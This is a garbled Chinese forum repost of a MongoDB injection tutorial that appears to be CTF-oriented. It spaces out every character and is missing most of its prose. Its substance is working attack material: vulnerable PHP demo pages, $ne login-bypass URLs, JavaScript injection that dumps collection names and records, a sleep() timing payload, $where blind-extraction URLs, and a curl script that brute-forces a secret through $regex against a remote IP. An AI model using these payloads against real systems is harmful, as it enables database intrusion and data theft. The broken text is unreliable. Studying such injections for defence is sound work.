[21679] 2021-02-17_Mongodb注入学习

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2021-02-17_Mongodb注入学习 M o n g o d b   L e m o n S e c   2 0 2 1 - 0 2 - 1 7 0 x 0 0   m o n g o d b p h p m o n g o d b 0 x 0 1   p h p m o n g o d b 1 . m o n g o   2 . e x e c u t e   # ! p h p < ? p h p $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / $ c o l l   =   $ d b - > t e s t ;   / / $ c o l l - > s a v e ( ) ;         / / $ c o l l - > f i n d ( ) ;         / / $ c o l l - > r e m o v e ( ) ;         / / $ c o l l - > u p d a t e ( ) ;         / / # ! p h p < ? p h p
e x e c u t e $ q u e r y j s 0 x 0 2   0 . t e s t 1 . d e m o $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / $ q u e r y   =   " d b . t a b l e . s a v e ( { ' n e w s i d ' : 1 } ) " ;         / / $ q u e r y   =   " d b . t a b l e . f i n d ( { ' n e w s i d ' : 1 } ) " ;         / / $ q u e r y   =   " d b . t a b l e . r e m o v e ( { ' n e w s i d ' : 1 } ) " ;         / / $ q u e r y   =   " d b . t a b l e . u p d a t e ( { ' n e w s i d ' : 1 } , { ' n e w s i d ' , 2 } ) " ;         $ r e s u l t   =   $ d b - > e x e c u t e ( $ q u e r y ) ; # ! p h p < ? p h p
p h p u r l d b . t e s t . f i n d ( { u s e r n a m e : ' t e s t ' , p a s s w o r d : ' t e s t ' } ) ; u r l : h t t p : / / 1 2 7 . 0 . 0 . 1 / 2 . p h p ? u s e r n a m e [ x x ] = t e s t & p a s s w o r d = t e s t $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / $ c o l l   =   $ d b - > t e s t ;   / / $ u s e r n a m e   =   $ _ G E T [ ' u s e r n a m e ' ] ; $ p a s s w o r d   =   $ _ G E T [ ' p a s s w o r d ' ] ; $ d a t a   =   a r r a y (                 ' u s e r n a m e ' = > $ u s e r n a m e ,                 ' p a s s w o r d ' = > $ p a s s w o r d                 ) ; $ d a t a   =   $ c o l l - > f i n d ( $ d a t a ) ; $ c o u n t   =   $ d a t a - > c o u n t ( ) ; i f   ( $ c o u n t > 0 )   {         f o r e a c h   ( $ d a t a   a s   $ u s e r )   {                 e c h o   ' u s e r n a m e : ' . $ u s e r [ ' u s e r n a m e ' ] . " < / b r > " ;                 e c h o   ' p a s s w o r d : ' . $ u s e r [ ' p a s s w o r d ' ] . " < / b r > " ;         } } e l s e {         e c h o   ' ' ; } ? > h t t p : / / 1 2 7 . 0 . 0 . 1 / 2 . p h p ? u s e r n a m e = t e s t & p a s s w o r d = t e s t
$ u s e r n a m e p h p m o n g o d b 使 d b . t e s t . f i n d ( { u s e r n a m e : { ' x x ' : ' t e s t ' } , p a s s w o r d : ' t e s t ' } ) ; u r l : h t t p : / / 1 2 7 . 0 . 0 . 1 / 2 . p h p ? u s e r n a m e [ $ n e ] = t e s t & p a s s w o r d [ $ n e ] = t e s t $ n e m o n g o d b d b . t e s t . f i n d ( { u s e r n a m e : { ' $ n e ' : ' t e s t ' } , p a s s w o r d : { ' $ n e ' : ' t e s t ' } } ) ; s q l : s e l e c t   *   f r o m   t e s t   w h e r e   u s e r n a m e ! = ' t e s t '   a n d   p a s s w o r d ! = ' t e s t ' ; # ! p h p $ d a t a   =   a r r a y ( ' u s e r n a m e ' = > a r r a y ( ' x x ' = > ' t e s t ' ) , ' p a s s w o r d ' = > ' t e s t ' ) ;
便 $ r e g e x D e m o h c t f p h p l o c k p a y l o a d # ! p h p < ? p h p $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / $ c o l l   =   $ d b - > t e s t ;   / / $ l o c k   =   $ _ P O S T [ ' l o c k ' ] ; $ k e y   =   $ _ P O S T [ ' k e y ' ] ; i f   ( i s _ a r r a y ( $ l o c k ) )   {         $ d a t a   =   a r r a y (                 ' l o c k ' = > $ l o c k ) ;         $ d a t a   =   $ c o l l - > f i n d ( $ d a t a ) ;         i f   ( $ d a t a - > c o u n t ( ) > 0 )   {                 e c h o   ' t h e   l o c k   i s   r i g h t , b u t   w r o n g   k e y ' ;         } e l s e {                 e c h o   ' l o c k   i s   w r o n g ' ;         } } e l s e {         i f   ( $ l o c k   = =   ' a a b b c c d d ' & & $ k e y = = ' a a b b c c d d ' )   {                 e c h o   ' Y o u r   f l a g   i s   x x x x x x x ' ;         } e l s e {                 e c h o   ' l o c k   i s   w r o n g ' ;         } } ? > # ! p h p < ? p h p   $ c h = c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h , C U R L O P T _ U R L , ' h t t p : / / 1 2 1 . 4 0 . 8 6 . 1 6 6 : 2 3 3 3 9 / ' ) ; c u r l _ s e t o p t ( $ c h , C U R L O P T _ R E T U R N T R A N S F E R , 1 ) ; c u r l _ s e t o p t ( $ c h , C U R L O P T _ P O S T , 1 ) ; $ o r i   =   ' 0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z ' ; $ s t r   =   ' ' ; f o r   ( $ i = 0 ;   $ i   < 1 0   ;   $ i + + )   {         f o r   ( $ j = 0 ;   $ j   < s t r l e n ( $ o r i )   ;   $ j + + )   {                   $ p o s t   =   ' k e y = 1 & l o c k [ $ r e g e x ] = ^ ' . $ s t r . $ o r i [ $ j ] ;                 c u r l _ s e t o p t ( $ c h , C U R L O P T _ P O S T F I E L D S , $ p o s t ) ;                 $ d a t a = c u r l _ e x e c ( $ c h ) ;                 i f   ( s t r l e n ( $ d a t a )   = =   3 1 9 )   {                       $ s t r . = $ o r i [ $ j ] ;                       e c h o   $ s t r . " r n " ;                       b r e a k ;
: , s q l 2 . d e m o                       b r e a k ;                 }         } } ? > d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ a ' } } ) ;   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ b ' } } ) ;   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ c ' } } ) ;   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ c a ' } } ) ;       d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ a a b b c c d d ' } } ) ; # ! p h p < ? p h p $ u s e r n a m e   =   $ _ G E T [ ' u s e r n a m e ' ] ; $ p a s s w o r d   =   $ _ G E T [ ' p a s s w o r d ' ] ; $ q u e r y   =   " v a r   d a t a   =   d b . t e s t . f i n d O n e ( { u s e r n a m e : ' $ u s e r n a m e ' , p a s s w o r d : ' $ p a s s w o r d ' } ) ; r e t u r n   d a t a ; " ; / / $ q u e r y   =   " r e t u r n   d b . t e s t . f i n d O n e ( ) ; " ; / / e c h o   $ q u e r y ; $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ; $ d a t a   =   $ d b - > e x e c u t e ( $ q u e r y ) ; i f   ( $ d a t a [ ' o k ' ]   = =   1 )   {         i f   ( $ d a t a [ ' r e t v a l ' ] ! = N U L L )   {                 e c h o   ' u s e r n a m e : ' . $ d a t a [ ' r e t v a l ' ] [ ' u s e r n a m e ' ] . " < / b r > " ;                 e c h o   ' p a s s w o r d : ' . $ d a t a [ ' r e t v a l ' ] [ ' p a s s w o r d ' ] . " < / b r > " ;
h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' & p a s s w o r d = t e s t h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; r e t u r n   { u s e r n a m e : 1 , p a s s w o r d : 2 } / / & p a s s w o r d = t e s t u s e r n a m e 1 p a s s w o r d 2 . m o n g o d b h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; r e t u r n   { u s e r n a m e : t o j s o n ( d b . g e t C o l l e c t i o n N a m e s ( ) ) , p a s s w o r d : 2 } ; / / & p a s s w o r d = t e s t         } e l s e {                 e c h o   ' ' ;         } } e l s e {         e c h o   $ d a t a [ ' e r r m s g ' ] ; } ? >
P S : d b . g e t C o l l e c t i o n N a m e s ( ) t o j s o n m o n g o d b t e s t h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; r e t u r n   { u s e r n a m e : t o j s o n ( d b . t e s t . f i n d ( ) [ 0 ] ) , p a s s w o r d : 2 } ; / / & p a s s w o r d = t e s t t e s t e x e c u t e ~ s l e e p ( ) ~ P S : h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; i f   ( d b . v e r s i o n ( )   >   " 0 " )   {   s l e e p ( 1 0 0 0 0 ) ;   e x i t ;   } v a r   b = ( { a : ' 1 & p a s s w o r d = t e s t
M o n g d b 使 $ w h e r e s q l w h e r e m o n g o d b $ w h e r e j s j s D e m o n e w s u s e r t h i s . n e w s n e w s s q l s e l e c t   *   f r o m   n e w s   w h e r e   n e w s = ' $ n e w s ' d e m o h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' # ! p h p < ? p h p $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / $ c o l l   =   $ d b - > n e w s ;   / / $ n e w s   =   $ _ G E T [ ' n e w s ' ] ; $ f u n c t i o n   =   " f u n c t i o n ( )   { i f ( t h i s . n e w s   = =   ' $ n e w s ' )   r e t u r n   t r u e } " ; e c h o   $ f u n c t i o n ; $ r e s u l t   =   $ c o l l - > f i n d ( a r r a y ( ' $ w h e r e ' = > $ f u n c t i o n ) ) ; i f   ( $ r e s u l t - > c o u n t ( ) > 0 )   {         e c h o   ' ' ; } e l s e {         e c h o   ' ' ; } ? >
h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 ' 1 ' = = ' 1 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 ' 1 ' = = ' 2 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) . l e n g t h > 0 % 2 6 % 2 6 ' 1 ' = = ' 1 0 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) . l e n g t h = = 5 % 2 6 % 2 6 ' 1 ' = = ' 1 5 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) [ 0 ] . l e n g t h = = 6 % 2 6 % 2 6 ' 1 ' = = ' 1 6 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) [ 0 ] [ 0 ] > ' a ' % 2 6 % 2 6 ' 1 ' = = ' 1 a h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) [ 0 ] [ 0 ] = = ' m ' % 2 6 % 2 6 ' 1 ' = = ' 1 m
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则